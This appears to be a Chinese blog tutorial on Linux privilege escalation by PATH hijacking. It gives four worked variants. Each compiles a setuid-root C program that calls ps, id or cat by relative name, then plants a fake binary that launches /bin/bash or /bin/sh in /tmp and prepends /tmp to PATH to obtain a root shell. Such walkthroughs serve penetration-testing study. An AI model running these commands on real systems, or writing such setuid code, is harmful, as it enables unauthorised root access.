WEB渗透Linux提权篇-环境变量提权

往期文章

WEB渗透Linux提权篇-提权工具合集-CSDN博客

第一种
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("ps");
  }

编译
>gcc demo.c -o shell
>chmod u+s shell
执行./shell  回显ps命令
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell
>cd /tmp
>echo "/bin/bash" > ps
>chmod 777 ps
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell
>whoami
或使用copy命令
>cd /home/raj/script/
>cp /bin/sh /tmp/ps
>echo $PATH
>export PATH=/tmp:$PATH
>./shell
>whoami
或使用ln命令
>ln -s /bin/sh ps
>export PATH=.:$PATH
>./shell
>id
第二种
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("id");
  }

编译
>gcc test.c -o shell2
>chmod u+s shell2
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell2
>cd /tmp
>echo "/bin/bash" > id
>chmod 777 id
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell2
>whoami
第三种
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("cat /etc/passwd");
  }

编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell3
>cd /tmp
>vi cat
内容为/bin/bash
>chmod 777 cat
>ls -al cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell3
>whoami
第四种
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("cat /home/raj/msg.txt");
  }

编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell4
>cd /tmp
>vi cat
>chmod 777 cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell4
>whoami
相关推荐
reset20211 小时前
ubuntu离线安装ollama
linux·ubuntu·ollama
放氮气的蜗牛1 小时前
Linux命令终极指南:从入门到精通掌握150+核心指令
linux·运维·服务器
网络安全King1 小时前
devops 工具 网络安全
运维·web安全·devops
DC_BLOG1 小时前
Linux-Ansible模块进阶
linux·运维·服务器·ansible
Imagine Miracle1 小时前
【Deepseek】Linux 本地部署 Deepseek
linux·运维·服务器
SuperPurse1 小时前
linux下查看当前用户、所有用户的方法
linux·运维·服务器
Once_day1 小时前
linux之perf(17)PMU事件采集脚本
linux·运维·perf
m0_747124532 小时前
Linux 驱动入门(5)—— DHT11(温湿度传感器)驱动
linux·linux驱动
风123456789~2 小时前
【Linux 专栏】echo命令实验
linux·运维·服务器
L耀早睡2 小时前
Linux中的查看命令
linux·运维·服务器